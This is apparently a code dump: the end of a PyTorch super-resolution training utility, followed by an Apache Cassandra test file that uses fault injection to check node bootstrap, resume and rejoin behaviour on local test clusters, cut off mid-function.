#trainer.loss.plot_loss(self.dir, epoch) #self.plot_psnr(epoch) trainer.optimizer.save(self.dir) torch.save(self.log, self.get_path('psnr_log.pt')) def add_log(self, log): self.log = torch.cat([self.log, log]) def write_log(self, log, refresh=False): print(log) self.log_file.write(log + '\n') if refresh: self.log_file.close() self.log_file = open(self.get_path('log.txt'), 'a') def done(self): self.log_file.close() def plot_psnr(self, epoch): axis = np.linspace(1, epoch, epoch) for idx_data, d in enumerate(self.args.data_test): label = 'SR on {}'.format(d) fig = plt.figure() plt.title(label) for idx_scale, scale in enumerate(self.args.scale): plt.plot( axis, self.log[:, idx_data, idx_scale].numpy(), label='Scale {}'.format(scale) ) plt.legend() plt.xlabel('Epochs') plt.ylabel('PSNR') plt.grid(True) plt.savefig(self.get_path('test_{}.pdf'.format(d))) plt.close(fig) def begin_background(self): self.queue = Queue() def bg_target(queue): while True: if not queue.empty(): filename, tensor = queue.get() if filename is None: break imageio.imwrite(filename, tensor.numpy()) self.process = [ Process(target=bg_target, args=(self.queue,)) \ for _ in range(self.n_processes) ] for p in self.process: p.start() def end_background(self): for _ in range(self.n_processes): self.queue.put((None, None)) while not self.queue.empty(): time.sleep(1) for p in self.process: p.join() def save_results(self, dataset, filename, save_list, scale): if self.args.save_results: filename = self.get_path( 'results-{}'.format(dataset.dataset.name), '{}_x{}_'.format(filename, scale) ) postfix = ('SR', 'LR', 'HR') for v, p in zip(save_list, postfix): normalized = v[0].mul(255 / self.args.rgb_range) tensor_cpu = normalized.byte().permute(1, 2, 0).cpu() self.queue.put(('{}{}.png'.format(filename, p), tensor_cpu)) def quantize(img, rgb_range): pixel_range = 255 / rgb_range return img.mul(pixel_range).clamp(0, 255).round().div(pixel_range) def calc_psnr(sr, hr, scale, rgb_range, dataset=None): if hr.nelement() == 1: return 0 diff = (sr - hr) / rgb_range if dataset and dataset.dataset.benchmark: shave = scale if diff.size(1) > 1: gray_coeffs = [65.738, 129.057, 25.064] convert = diff.new_tensor(gray_coeffs).view(1, 3, 1, 1) / 256 diff = diff.mul(convert).sum(dim=1) else: shave = scale + 6 valid = diff[..., shave:-shave, shave:-shave] mse = valid.pow(2).mean() return -10 * math.log10(mse) def make_optimizer(args, target): ''' make optimizer and scheduler together ''' # optimizer trainable = filter(lambda x: x.requires_grad, target.parameters()) kwargs_optimizer = {'lr': args.lr, 'weight_decay': args.weight_decay} if args.optimizer == 'SGD': optimizer_class = optim.SGD kwargs_optimizer['momentum'] = args.momentum elif args.optimizer == 'ADAM': optimizer_class = optim.Adam kwargs_optimizer['betas'] = args.betas kwargs_optimizer['eps'] = args.epsilon elif args.optimizer == 'RMSprop': optimizer_class = optim.RMSprop kwargs_optimizer['eps'] = args.epsilon # scheduler milestones = list(map(lambda x: int(x), args.decay.split('-'))) kwargs_scheduler = {'milestones': milestones, 'gamma': args.gamma} scheduler_class = lrs.MultiStepLR class CustomOptimizer(optimizer_class): def __init__(self, *args, **kwargs): super(CustomOptimizer, self).__init__(*args, **kwargs) def _register_scheduler(self, scheduler_class, **kwargs): self.scheduler = scheduler_class(self, **kwargs) def save(self, save_dir): torch.save(self.state_dict(), self.get_dir(save_dir)) def load(self, load_dir, epoch=1): self.load_state_dict(torch.load(self.get_dir(load_dir))) if epoch > 1: for _ in range(epoch): self.scheduler.step() def get_dir(self, dir_path): return os.path.join(dir_path, 'optimizer.pt') def schedule(self): self.scheduler.step() def get_lr(self): return self.scheduler.get_lr()[0] def get_last_epoch(self): return self.scheduler.last_epoch optimizer = CustomOptimizer(trainable, **kwargs_optimizer) optimizer._register_scheduler(scheduler_class, **kwargs_scheduler) return optimizer
bootstrap_test.py
import os import random import re import shutil import tempfile import threading import time import logging import signal from cassandra import ConsistencyLevel from cassandra.concurrent import execute_concurrent_with_args from ccmlib.node import NodeError, TimeoutError, ToolError, Node import pytest from distutils.version import LooseVersion from dtest import Tester, create_ks, create_cf, data_size from tools.assertions import (assert_almost_equal, assert_bootstrap_state, assert_not_running, assert_one, assert_stderr_clean) from tools.data import query_c1c2 from tools.intervention import InterruptBootstrap, KillOnBootstrap, KillOnReadyToBootstrap from tools.misc import new_node, generate_ssl_stores since = pytest.mark.since logger = logging.getLogger(__name__) class TestBootstrap(Tester): byteman_submit_path_pre_4_0 = './byteman/pre4.0/stream_failure.btm' byteman_submit_path_4_0 = './byteman/4.0/stream_failure.btm' @pytest.fixture(autouse=True) def fixture_add_additional_log_patterns(self, fixture_dtest_setup): fixture_dtest_setup.allow_log_errors = True fixture_dtest_setup.ignore_log_patterns = ( # This one occurs when trying to send the migration to a # node that hasn't started yet, and when it does, it gets # replayed and everything is fine. r'Can\'t send migration request: node.*is down', # ignore streaming error during bootstrap r'Exception encountered during startup', r'Streaming error occurred' ) def _base_bootstrap_test(self, bootstrap=None, bootstrap_from_version=None, enable_ssl=None): def default_bootstrap(cluster, token): node2 = new_node(cluster) node2.set_configuration_options(values={'initial_token': token}) node2.start(wait_for_binary_proto=True) return node2 if bootstrap is None: bootstrap = default_bootstrap cluster = self.cluster if enable_ssl: logger.debug("***using internode ssl***") generate_ssl_stores(self.fixture_dtest_setup.test_path) cluster.enable_internode_ssl(self.fixture_dtest_setup.test_path) tokens = cluster.balanced_tokens(2) cluster.set_configuration_options(values={'num_tokens': 1}) logger.debug("[node1, node2] tokens: %r" % (tokens,)) keys = 10000 # Create a single node cluster cluster.populate(1) node1 = cluster.nodelist()[0] if bootstrap_from_version: logger.debug("starting source node on version {}".format(bootstrap_from_version)) node1.set_install_dir(version=bootstrap_from_version) node1.set_configuration_options(values={'initial_token': tokens[0]}) cluster.start() session = self.patient_cql_connection(node1) create_ks(session, 'ks', 1) create_cf(session, 'cf', columns={'c1': 'text', 'c2': 'text'}) # record the size before inserting any of our own data empty_size = data_size(node1, 'ks','cf') logger.debug("node1 empty size for ks.cf: %s" % float(empty_size)) insert_statement = session.prepare("INSERT INTO ks.cf (key, c1, c2) VALUES (?, 'value1', 'value2')") execute_concurrent_with_args(session, insert_statement, [['k%d' % k] for k in range(keys)]) node1.flush() node1.compact() initial_size = data_size(node1,'ks','cf') logger.debug("node1 size for ks.cf before bootstrapping node2: %s" % float(initial_size)) # Reads inserted data all during the bootstrap process. We shouldn't # get any error query_c1c2(session, random.randint(0, keys - 1), ConsistencyLevel.ONE) session.shutdown() # Bootstrapping a new node in the current version node2 = bootstrap(cluster, tokens[1]) node2.compact() node1.cleanup() logger.debug("node1 size for ks.cf after cleanup: %s" % float(data_size(node1,'ks','cf'))) node1.compact() logger.debug("node1 size for ks.cf after compacting: %s" % float(data_size(node1,'ks','cf'))) logger.debug("node2 size for ks.cf after compacting: %s" % float(data_size(node2,'ks','cf'))) size1 = float(data_size(node1,'ks','cf')) size2 = float(data_size(node2,'ks','cf')) assert_almost_equal(size1, size2, error=0.3) assert_almost_equal(float(initial_size - empty_size), 2 * (size1 - float(empty_size))) assert_bootstrap_state(self, node2, 'COMPLETED') @pytest.mark.no_vnodes def test_simple_bootstrap_with_ssl(self): self._base_bootstrap_test(enable_ssl=True) @pytest.mark.no_vnodes def test_simple_bootstrap(self): self._base_bootstrap_test() @pytest.mark.no_vnodes def test_bootstrap_on_write_survey(self): def bootstrap_on_write_survey_and_join(cluster, token): node2 = new_node(cluster) node2.set_configuration_options(values={'initial_token': token}) node2.start(jvm_args=["-Dcassandra.write_survey=true"], wait_for_binary_proto=True) assert len(node2.grep_log('Startup complete, but write survey mode is active, not becoming an active ring member.')) assert_bootstrap_state(self, node2, 'IN_PROGRESS') node2.nodetool("join") assert len(node2.grep_log('Leaving write survey mode and joining ring at operator request')) return node2 self._base_bootstrap_test(bootstrap_on_write_survey_and_join) def _test_bootstrap_with_compatibility_flag_on(self, bootstrap_from_version): def bootstrap_with_compatibility_flag_on(cluster, token): node2 = new_node(cluster) node2.set_configuration_options(values={'initial_token': token}) # cassandra.force_3_0_protocol_version parameter is needed to allow schema # changes during the bootstrapping for upgrades from 3.0.14+ to anything upwards for 3.0.x or 3.x clusters. # @jira_ticket CASSANDRA-13004 for detailed context on `cassandra.force_3_0_protocol_version` flag node2.start(jvm_args=["-Dcassandra.force_3_0_protocol_version=true"], wait_for_binary_proto=True) return node2 self._base_bootstrap_test(bootstrap_with_compatibility_flag_on, bootstrap_from_version=bootstrap_from_version) @since('3.10') @pytest.mark.no_vnodes def test_simple_bootstrap_small_keepalive_period(self): """ @jira_ticket CASSANDRA-11841 Test that bootstrap completes if it takes longer than streaming_socket_timeout_in_ms or 2*streaming_keep_alive_period_in_secs to receive a single sstable """ cluster = self.cluster yaml_opts = {'streaming_keep_alive_period_in_secs': 2} if cluster.version() < '4.0': yaml_opts['streaming_socket_timeout_in_ms'] = 1000 cluster.set_configuration_options(values=yaml_opts) # Create a single node cluster cluster.populate(1) node1 = cluster.nodelist()[0] logger.debug("Setting up byteman on {}".format(node1.name)) # set up byteman node1.byteman_port = '8100' node1.import_config_files() cluster.start() # Create more than one sstable larger than 1MB node1.stress(['write', 'n=1K', '-rate', 'threads=8', '-schema', 'compaction(strategy=SizeTieredCompactionStrategy, enabled=false)']) cluster.flush() logger.debug("Submitting byteman script to {} to".format(node1.name)) # Sleep longer than streaming_socket_timeout_in_ms to make sure the node will not be killed node1.byteman_submit(['./byteman/stream_5s_sleep.btm']) # Bootstraping a new node with very small streaming_socket_timeout_in_ms node2 = new_node(cluster) node2.start(wait_for_binary_proto=True) # Shouldn't fail due to streaming socket timeout timeout assert_bootstrap_state(self, node2, 'COMPLETED') for node in cluster.nodelist(): assert node.grep_log('Scheduling keep-alive task with 2s period.', filename='debug.log') assert node.grep_log('Sending keep-alive', filename='debug.log') assert node.grep_log('Received keep-alive', filename='debug.log') def test_simple_bootstrap_nodata(self): """ @jira_ticket CASSANDRA-11010 Test that bootstrap completes if streaming from nodes with no data """ cluster = self.cluster cluster.set_environment_variable('CASSANDRA_TOKEN_PREGENERATION_DISABLED', 'True') # Create a two-node cluster cluster.populate(2) cluster.start() # Bootstrapping a new node node3 = new_node(cluster) node3.start(wait_for_binary_proto=True) assert_bootstrap_state(self, node3, 'COMPLETED') def test_read_from_bootstrapped_node(self): """ Test bootstrapped node sees existing data @jira_ticket CASSANDRA-6648 """ cluster = self.cluster cluster.set_environment_variable('CASSANDRA_TOKEN_PREGENERATION_DISABLED', 'True') cluster.populate(3) cluster.start() node1 = cluster.nodes['node1'] node1.stress(['write', 'n=10K', 'no-warmup', '-rate', 'threads=8', '-schema', 'replication(factor=2)']) session = self.patient_cql_connection(node1) stress_table = 'keyspace1.standard1' original_rows = list(session.execute("SELECT * FROM %s" % (stress_table,))) node4 = new_node(cluster) node4.start(wait_for_binary_proto=True) session = self.patient_exclusive_cql_connection(node4) new_rows = list(session.execute("SELECT * FROM %s" % (stress_table,))) assert original_rows == new_rows @since('3.0') def test_bootstrap_waits_for_streaming_to_finish(self): """ Test that bootstrap completes and is marked as such after streaming finishes. """ cluster = self.cluster cluster.set_environment_variable('CASSANDRA_TOKEN_PREGENERATION_DISABLED', 'True') logger.debug("Create a cluster") cluster.populate(1) node1 = cluster.nodelist()[0] logger.debug("Start node 1") node1.start(wait_for_binary_proto=True) logger.debug("Insert 10k rows") node1.stress(['write', 'n=10K', 'no-warmup', '-rate', 'threads=8', '-schema', 'replication(factor=2)']) logger.debug("Bootstrap node 2 with delay") node2 = new_node(cluster, byteman_port='4200') node2.update_startup_byteman_script('./byteman/bootstrap_5s_sleep.btm') node2.start(wait_for_binary_proto=True) assert_bootstrap_state(self, node2, 'COMPLETED') assert node2.grep_log('Bootstrap completed', filename='debug.log') def test_consistent_range_movement_true_with_replica_down_should_fail(self): self._bootstrap_test_with_replica_down(True) def test_consistent_range_movement_false_with_replica_down_should_succeed(self): self._bootstrap_test_with_replica_down(False) def test_consistent_range_movement_true_with_rf1_should_fail(self): self._bootstrap_test_with_replica_down(True, rf=1) def test_consistent_range_movement_false_with_rf1_should_succeed(self): self._bootstrap_test_with_replica_down(False, rf=1) def _bootstrap_test_with_replica_down(self, consistent_range_movement, rf=2): """ Test to check consistent bootstrap will not succeed when there are insufficient replicas @jira_ticket CASSANDRA-11848 """ cluster = self.cluster cluster.set_environment_variable('CASSANDRA_TOKEN_PREGENERATION_DISABLED', 'True') cluster.populate(2) node1, node2 = cluster.nodelist() node3_token = None # Make token assignment deterministic if not self.dtest_config.use_vnodes: cluster.set_configuration_options(values={'num_tokens': 1}) tokens = cluster.balanced_tokens(3) logger.debug("non-vnode tokens: %r" % (tokens,)) node1.set_configuration_options(values={'initial_token': tokens[0]}) node2.set_configuration_options(values={'initial_token': tokens[2]}) node3_token = tokens[1] # Add node 3 between node1 and node2 cluster.start() node1.stress(['write', 'n=10K', 'no-warmup', '-rate', 'threads=8', '-schema', 'replication(factor={})'.format(rf)]) # change system_auth keyspace to 2 (default is 1) to avoid # "Unable to find sufficient sources for streaming" warning if cluster.cassandra_version() >= '2.2.0': session = self.patient_cql_connection(node1) session.execute(""" ALTER KEYSPACE system_auth WITH replication = {'class':'SimpleStrategy', 'replication_factor':2}; """) # Stop node2, so node3 will not be able to perform consistent range movement node2.stop(wait_other_notice=True) successful_bootstrap_expected = not consistent_range_movement node3 = new_node(cluster, token=node3_token) node3.start(wait_for_binary_proto=successful_bootstrap_expected, wait_other_notice=successful_bootstrap_expected, jvm_args=["-Dcassandra.consistent.rangemovement={}".format(consistent_range_movement)]) if successful_bootstrap_expected: # with rf=1 and cassandra.consistent.rangemovement=false, missing sources are ignored if not consistent_range_movement and rf == 1: node3.watch_log_for("Unable to find sufficient sources for streaming range") assert node3.is_running() assert_bootstrap_state(self, node3, 'COMPLETED') else: if consistent_range_movement: if cluster.version() < '4.0': node3.watch_log_for("A node required to move the data consistently is down") else: node3.watch_log_for("Necessary replicas for strict consistency were removed by source filters") else: node3.watch_log_for("Unable to find sufficient sources for streaming range") assert_not_running(node3) @since('2.2') def test_resumable_bootstrap(self): """ Test resuming bootstrap after data streaming failure """ cluster = self.cluster cluster.set_environment_variable('CASSANDRA_TOKEN_PREGENERATION_DISABLED', 'True') cluster.populate(2) node1 = cluster.nodes['node1'] # set up byteman node1.byteman_port = '8100' node1.import_config_files() cluster.start() # kill stream to node3 in the middle of streaming to let it fail if cluster.version() < '4.0': node1.byteman_submit([self.byteman_submit_path_pre_4_0]) else: node1.byteman_submit([self.byteman_submit_path_4_0]) node1.stress(['write', 'n=1K', 'no-warmup', 'cl=TWO', '-schema', 'replication(factor=2)', '-rate', 'threads=50']) cluster.flush() # start bootstrapping node3 and wait for streaming node3 = new_node(cluster) node3.start(wait_other_notice=False) # let streaming fail as we expect node3.watch_log_for('Some data streaming failed') # bring back node3 and invoke nodetool bootstrap to resume bootstrapping node3.nodetool('bootstrap resume') node3.wait_for_binary_interface() assert_bootstrap_state(self, node3, 'COMPLETED') # cleanup to guarantee each node will only have sstables of its ranges cluster.cleanup() logger.debug("Check data is present") # Let's check stream bootstrap completely transferred data stdout, stderr, _ = node3.stress(['read', 'n=1k', 'no-warmup', '-schema', 'replication(factor=2)', '-rate', 'threads=8']) if stdout is not None: assert "FAILURE" not in stdout @since('2.2') def test_bootstrap_with_reset_bootstrap_state(self): """Test bootstrap with resetting bootstrap progress""" cluster = self.cluster cluster.set_environment_variable('CASSANDRA_TOKEN_PREGENERATION_DISABLED', 'True') cluster.set_configuration_options(values={'stream_throughput_outbound_megabits_per_sec': 1}) cluster.populate(2).start() node1 = cluster.nodes['node1'] node1.stress(['write', 'n=100K', '-schema', 'replication(factor=2)']) node1.flush() # kill node1 in the middle of streaming to let it fail t = InterruptBootstrap(node1) t.start() # start bootstrapping node3 and wait for streaming node3 = new_node(cluster) try: node3.start() except NodeError: pass # node doesn't start as expected t.join() node1.start() # restart node3 bootstrap with resetting bootstrap progress node3.stop(signal_event=signal.SIGKILL) mark = node3.mark_log() node3.start(jvm_args=["-Dcassandra.reset_bootstrap_progress=true"]) # check if we reset bootstrap state node3.watch_log_for("Resetting bootstrap progress to start fresh", from_mark=mark) # wait for node3 ready to query, 180s as the node needs to bootstrap node3.wait_for_binary_interface(from_mark=mark, timeout=180) # check if 2nd bootstrap succeeded assert_bootstrap_state(self, node3, 'COMPLETED') def test_manual_bootstrap(self): """ Test adding a new node and bootstrapping it manually. No auto_bootstrap. This test also verify that all data are OK after the addition of the new node. @jira_ticket CASSANDRA-9022 """ cluster = self.cluster cluster.set_environment_variable('CASSANDRA_TOKEN_PREGENERATION_DISABLED', 'True') cluster.populate(2).start() (node1, node2) = cluster.nodelist() node1.stress(['write', 'n=1K', 'no-warmup', '-schema', 'replication(factor=2)', '-rate', 'threads=1', '-pop', 'dist=UNIFORM(1..1000)']) session = self.patient_exclusive_cql_connection(node2) stress_table = 'keyspace1.standard1' original_rows = list(session.execute("SELECT * FROM %s" % stress_table)) # Add a new node node3 = new_node(cluster, bootstrap=False) node3.start(wait_for_binary_proto=True) node3.repair() node1.cleanup() current_rows = list(session.execute("SELECT * FROM %s" % stress_table)) assert original_rows == current_rows def test_local_quorum_bootstrap(self): """ Test that CL local_quorum works while a node is bootstrapping. @jira_ticket CASSANDRA-8058 """ cluster = self.cluster cluster.set_environment_variable('CASSANDRA_TOKEN_PREGENERATION_DISABLED', 'True') cluster.populate([1, 1]) cluster.start() node1 = cluster.nodes['node1'] yaml_config = """ # Create the keyspace and table keyspace: keyspace1 keyspace_definition: | CREATE KEYSPACE keyspace1 WITH replication = {'class': 'NetworkTopologyStrategy', 'dc1': 1, 'dc2': 1}; table: users table_definition: CREATE TABLE users ( username text, first_name text, last_name text, email text, PRIMARY KEY(username) ) WITH compaction = {'class':'SizeTieredCompactionStrategy'}; insert: partitions: fixed(1) batchtype: UNLOGGED queries: read: cql: select * from users where username = ? fields: samerow """ with tempfile.NamedTemporaryFile(mode='w+') as stress_config: stress_config.write(yaml_config) stress_config.flush() node1.stress(['user', 'profile=' + stress_config.name, 'n=200K', 'no-warmup', 'ops(insert=1)', '-rate', 'threads=10']) node3 = new_node(cluster, data_center='dc2') node3.start(jvm_args=["-Dcassandra.write_survey=true"], no_wait=True) node3_seen = False for _ in range(30): # give node3 up to 30 seconds to start ntout = node1.nodetool('status').stdout if re.search(r'UJ\s+' + node3.ip_addr, ntout): node3_seen = True break time.sleep(1) assert node3_seen, "expected {} in status:\n{}".format(node3.ip_addr, ntout) out, err, _ = node1.stress(['user', 'profile=' + stress_config.name, 'ops(insert=1)', 'n=10k', 'no-warmup', 'cl=LOCAL_QUORUM', '-rate', 'threads=10', '-errors', 'retries=2']) ntout = node1.nodetool('status').stdout assert re.search(r'UJ\s+' + node3.ip_addr, ntout), ntout logger.debug(out) assert_stderr_clean(err) regex = re.compile("Operation.+error inserting key.+Exception") failure = regex.search(str(out)) assert failure is None, "Error during stress while bootstrapping" def test_shutdown_wiped_node_cannot_join(self): self._wiped_node_cannot_join_test(gently=True) def test_killed_wiped_node_cannot_join(self): self._wiped_node_cannot_join_test(gently=False) def _wiped_node_cannot_join_test(self, gently): """ @jira_ticket CASSANDRA-9765 Test that if we stop a node and wipe its data then the node cannot join when it is not a seed. Test both a nice shutdown or a forced shutdown, via the gently parameter. """ cluster = self.cluster cluster.set_environment_variable('CASSANDRA_TOKEN_PREGENERATION_DISABLED', 'True') cluster.populate(3) cluster.start() stress_table = 'keyspace1.standard1' # write some data node1 = cluster.nodelist()[0] node1.stress(['write', 'n=10K', 'no-warmup', '-rate', 'threads=8']) session = self.patient_cql_connection(node1) original_rows = list(session.execute("SELECT * FROM {}".format(stress_table,))) # Add a new node, bootstrap=True ensures that it is not a seed node4 = new_node(cluster, bootstrap=True) node4.start(wait_for_binary_proto=True) session = self.patient_cql_connection(node4) assert original_rows == list(session.execute("SELECT * FROM {}".format(stress_table,))) # Stop the new node and wipe its data node4.stop(gently=gently) self._cleanup(node4) # Now start it, it should not be allowed to join. mark = node4.mark_log() node4.start(no_wait=True, wait_other_notice=False) node4.watch_log_for("A node with address {} already exists, cancelling join".format(node4.address_for_current_version_slashy()), from_mark=mark) def test_decommissioned_wiped_node_can_join(self): """ @jira_ticket CASSANDRA-9765 Test that if we decommission a node and then wipe its data, it can join the cluster. """ cluster = self.cluster cluster.set_environment_variable('CASSANDRA_TOKEN_PREGENERATION_DISABLED', 'True') cluster.populate(3) cluster.start() stress_table = 'keyspace1.standard1' # write some data node1 = cluster.nodelist()[0] node1.stress(['write', 'n=10K', 'no-warmup', '-rate', 'threads=8']) session = self.patient_cql_connection(node1) original_rows = list(session.execute("SELECT * FROM {}".format(stress_table,))) # Add a new node, bootstrap=True ensures that it is not a seed node4 = new_node(cluster, bootstrap=True) node4.start(wait_for_binary_proto=True) session = self.patient_cql_connection(node4) assert original_rows == list(session.execute("SELECT * FROM {}".format(stress_table,))) # Decommission the new node and wipe its data node4.decommission() node4.stop() self._cleanup(node4) # Now start it, it should be allowed to join mark = node4.mark_log() node4.start() node4.watch_log_for("JOINING:", from_mark=mark) def test_decommissioned_wiped_node_can_gossip_to_single_seed(self): """ @jira_ticket CASSANDRA-8072 @jira_ticket CASSANDRA-8422 Test that if we decommission a node, kill it and wipe its data, it can join a cluster with a single seed node. """ cluster = self.cluster cluster.set_environment_variable('CASSANDRA_TOKEN_PREGENERATION_DISABLED', 'True') cluster.populate(1) cluster.start() node1 = cluster.nodelist()[0] # Add a new node, bootstrap=True ensures that it is not a seed node2 = new_node(cluster, bootstrap=True) node2.start(wait_for_binary_proto=True) session = self.patient_cql_connection(node1) if cluster.version() >= '2.2': # reduce system_distributed RF to 2 so we don't require forceful decommission session.execute("ALTER KEYSPACE system_distributed WITH REPLICATION = {'class':'SimpleStrategy', 'replication_factor':'1'};") session.execute("ALTER KEYSPACE system_traces WITH REPLICATION = {'class':'SimpleStrategy', 'replication_factor':'1'};") # Decommision the new node and kill it logger.debug("Decommissioning & stopping node2") node2.decommission() node2.stop(wait_other_notice=False) # Wipe its data for data_dir in node2.data_directories(): logger.debug("Deleting {}".format(data_dir)) shutil.rmtree(data_dir) commitlog_dir = os.path.join(node2.get_path(), 'commitlogs') logger.debug("Deleting {}".format(commitlog_dir)) shutil.rmtree(commitlog_dir) # Now start it, it should be allowed to join mark = node2.mark_log() logger.debug("Restarting wiped node2") node2.start(wait_other_notice=False) node2.watch_log_for("JOINING:", from_mark=mark) def test_failed_bootstrap_wiped_node_can_join(self): """ @jira_ticket CASSANDRA-9765 Test that if a node fails to bootstrap, it can join the cluster even if the data is wiped. """ cluster = self.cluster cluster.set_environment_variable('CASSANDRA_TOKEN_PREGENERATION_DISABLED', 'True') cluster.populate(1) cluster.set_configuration_options(values={'stream_throughput_outbound_megabits_per_sec': 1}) cluster.start() stress_table = 'keyspace1.standard1' # write some data, enough for the bootstrap to fail later on node1 = cluster.nodelist()[0] node1.stress(['write', 'n=100K', 'no-warmup', '-rate', 'threads=8']) node1.flush() session = self.patient_cql_connection(node1) original_rows = list(session.execute("SELECT * FROM {}".format(stress_table,))) # Add a new node, bootstrap=True ensures that it is not a seed node2 = new_node(cluster, bootstrap=True) # kill node2 in the middle of bootstrap t = KillOnBootstrap(node2) t.start() node2.start() t.join() assert not node2.is_running() # wipe any data for node2 self._cleanup(node2) # Now start it again, it should be allowed to join mark = node2.mark_log() node2.start() node2.watch_log_for("JOINING:", from_mark=mark) @since('3.0') def test_node_cannot_join_as_hibernating_node_without_replace_address(self): """ @jira_ticket CASSANDRA-14559 Test that a node cannot bootstrap without replace_address if a hibernating node exists with that address """ cluster = self.cluster cluster.set_environment_variable('CASSANDRA_TOKEN_PREGENERATION_DISABLED', 'True') cluster.populate(2) # Setting seed node to first node to make sure replaced node is not in own seed list cluster.set_configuration_options({ 'seed_provider': [{'class_name': 'org.apache.cassandra.locator.SimpleSeedProvider', 'parameters': [{'seeds': '127.0.0.1'}] }] }) cluster.start() node1 = cluster.nodelist()[0] node2 = cluster.nodelist()[1] replacement_address = node2.address() node2.stop() jvm_option = 'replace_address' logger.debug("Starting replacement node {} with jvm_option '{}={}'".format(replacement_address, jvm_option, replacement_address)) replacement_node = Node('replacement', cluster=self.cluster, auto_bootstrap=True, thrift_interface=None, storage_interface=(replacement_address, 7000), jmx_port='7400', remote_debug_port='0', initial_token=None, binary_interface=(replacement_address, 9042)) cluster.add(replacement_node, False) extra_jvm_args = [] extra_jvm_args.extend(["-Dcassandra.{}={}".format(jvm_option, replacement_address), "-Dcassandra.ring_delay_ms=10000", "-Dcassandra.broadcast_interval_ms=10000"]) wait_other_notice = False wait_for_binary_proto = False # Killing node earlier in bootstrap to prevent node making it to 'normal' status. t = KillOnReadyToBootstrap(replacement_node) t.start() replacement_node.start(jvm_args=extra_jvm_args, wait_for_binary_proto=wait_for_binary_proto, wait_other_notice=wait_other_notice) t.join() logger.debug("Asserting that original replacement node is not running") assert not replacement_node.is_running() # Assert node is actually in hibernate for test to be accurate. logger.debug("Asserting that node is actually in hibernate status for test accuracy") assert 'hibernate' in node1.nodetool("gossipinfo").stdout extra_jvm_args = [] extra_jvm_args.extend(["-Dcassandra.ring_delay_ms=10000", "-Dcassandra.broadcast_interval_ms=10000"]) logger.debug("Starting blind replacement node {}".format(replacement_address)) blind_replacement_node = Node('blind_replacement', cluster=self.cluster, auto_bootstrap=True, thrift_interface=None, storage_interface=(replacement_address, 7000), jmx_port='7400', remote_debug_port='0', initial_token=None, binary_interface=(replacement_address, 9042)) cluster.add(blind_replacement_node, False) wait_other_notice = False wait_for_binary_proto = False blind_replacement_node.start(wait_for_binary_proto=wait_for_binary_proto, wait_other_notice=wait_other_notice) # Asserting that the new node has correct log entry self.assert_log_had_msg(blind_replacement_node, "A node with the same IP in hibernate status was detected", timeout=60) # Waiting two seconds to give node a chance to stop in case above assertion is True. # When this happens cassandra may not shut down fast enough and the below assertion fails. time.sleep(15) # Asserting that then new node is not running. # This tests the actual expected state as opposed to just checking for the existance of the above error message. assert not blind_replacement_node.is_running() @since('2.1.1') def test_simultaneous_bootstrap(self): """ Attempt to bootstrap two nodes at once, to assert the second bootstrapped node fails, and does not interfere. Start a one node cluster and run a stress write workload. Start up a second node, and wait for the first node to detect it has joined the cluster. While the second node is bootstrapping, start a third node. This should fail. @jira_ticket CASSANDRA-7069 @jira_ticket CASSANDRA-9484 """ bootstrap_error = "Other bootstrapping/leaving/moving nodes detected," \ " cannot bootstrap while cassandra.consistent.rangemovement is true" cluster = self.cluster cluster.set_environment_variable('CASSANDRA_TOKEN_PREGENERATION_DISABLED', 'True') cluster.populate(1) cluster.start() node1, = cluster.nodelist() node1.stress(['write', 'n=500K', 'no-warmup', '-schema', 'replication(factor=1)', '-rate', 'threads=10']) node2 = new_node(cluster) node2.start() for _ in range(30): # wait until node2 shows up ntout = node1.nodetool('status').stdout if re.search(r'UJ\s+' + node2.ip_addr, ntout): break time.sleep(0.1) node3 = new_node(cluster, remote_debug_port='2003') try: node3.start(wait_other_notice=False, verbose=False) except NodeError: pass # node doesn't start as expected time.sleep(.5) node2.watch_log_for("Starting listening for CQL clients") node3.watch_log_for(bootstrap_error) session = self.patient_exclusive_cql_connection(node2) # Repeat the select count(*) query, to help catch # bugs like 9484, where count(*) fails at higher # data loads. for _ in range(5): assert_one(session, "SELECT count(*) from keyspace1.standard1", [500000], cl=ConsistencyLevel.ONE) def test_cleanup(self): """ @jira_ticket CASSANDRA-11179 Make sure we remove processed files during cleanup """ cluster = self.cluster cluster.set_environment_variable('CASSANDRA_TOKEN_PREGENERATION_DISABLED', 'True') cluster.set_configuration_options(values={'concurrent_compactors': 4}) cluster.populate(1) cluster.start() node1, = cluster.nodelist() for x in range(0, 5): node1.stress(['write', 'n=100k', 'no-warmup', '-schema', 'compaction(strategy=SizeTieredCompactionStrategy,enabled=false)', 'replication(factor=1)', '-rate', 'threads=10']) node1.flush() node2 = new_node(cluster) node2.start(wait_for_binary_proto=True) event = threading.Event() failed = threading.Event() jobs = 1 thread = threading.Thread(target=self._monitor_datadir, args=(node1, event, len(node1.get_sstables("keyspace1", "standard1")), jobs, failed)) thread.setDaemon(True) thread.start() node1.nodetool("cleanup -j {} keyspace1 standard1".format(jobs)) event.set() thread.join() assert not failed.is_set() def _monitor_datadir(self, node, event, basecount, jobs, failed): while True: sstables = [s for s in node.get_sstables("keyspace1", "standard1") if "tmplink" not in s] if len(sstables) > basecount + jobs: logger.error("---") for sstable in sstables: logger.error(sstable) logger.error("Current count is {}, basecount was {}".format(len(sstables), basecount)) failed.set() return if event.is_set(): return time.sleep(.1) def _cleanup(self, node): commitlog_dir = os.path.join(node.get_path(), 'commitlogs') for data_dir in node.data_directories(): logger.debug("Deleting {}".format(data_dir)) shutil.rmtree(data_dir) shutil.rmtree(commitlog_dir) @since('2.2') @pytest.mark.ported_to_in_jvm # see org.apache.cassandra.distributed.test.BootstrapBinaryDisabledTest def test_bootstrap_binary_disabled(self): """ Test binary while bootstrapping and streaming fails. This test was ported to jvm-dtest org.apache.cassandra.distributed.test.BootstrapBinaryDisabledTest, as of this writing there are a few limitations with jvm-dtest which requries this test to stay, namely vnode support (ci also tests under different configs). Once jvm-dtest supports vnodes, this test can go away in favor of that class. @jira_ticket CASSANDRA-14526, CASSANDRA-14525, CASSANDRA-16127 """ config = {'authenticator': 'org.apache.cassandra.auth.PasswordAuthenticator', 'authorizer': 'org.apache.cassandra.auth.CassandraAuthorizer', 'role_manager': 'org.apache.cassandra.auth.CassandraRoleManager', 'permissions_validity_in_ms': 0, 'roles_validity_in_ms': 0} cluster = self.cluster cluster.set_environment_variable('CASSANDRA_TOKEN_PREGENERATION_DISABLED', 'True') cluster.populate(1) node1 = cluster.nodes['node1'] # set up byteman node1.byteman_port = '8100' node1.import_config_files() cluster.start() # kill stream to node2 in the middle of streaming to let it fail if cluster.version() < '4.0': 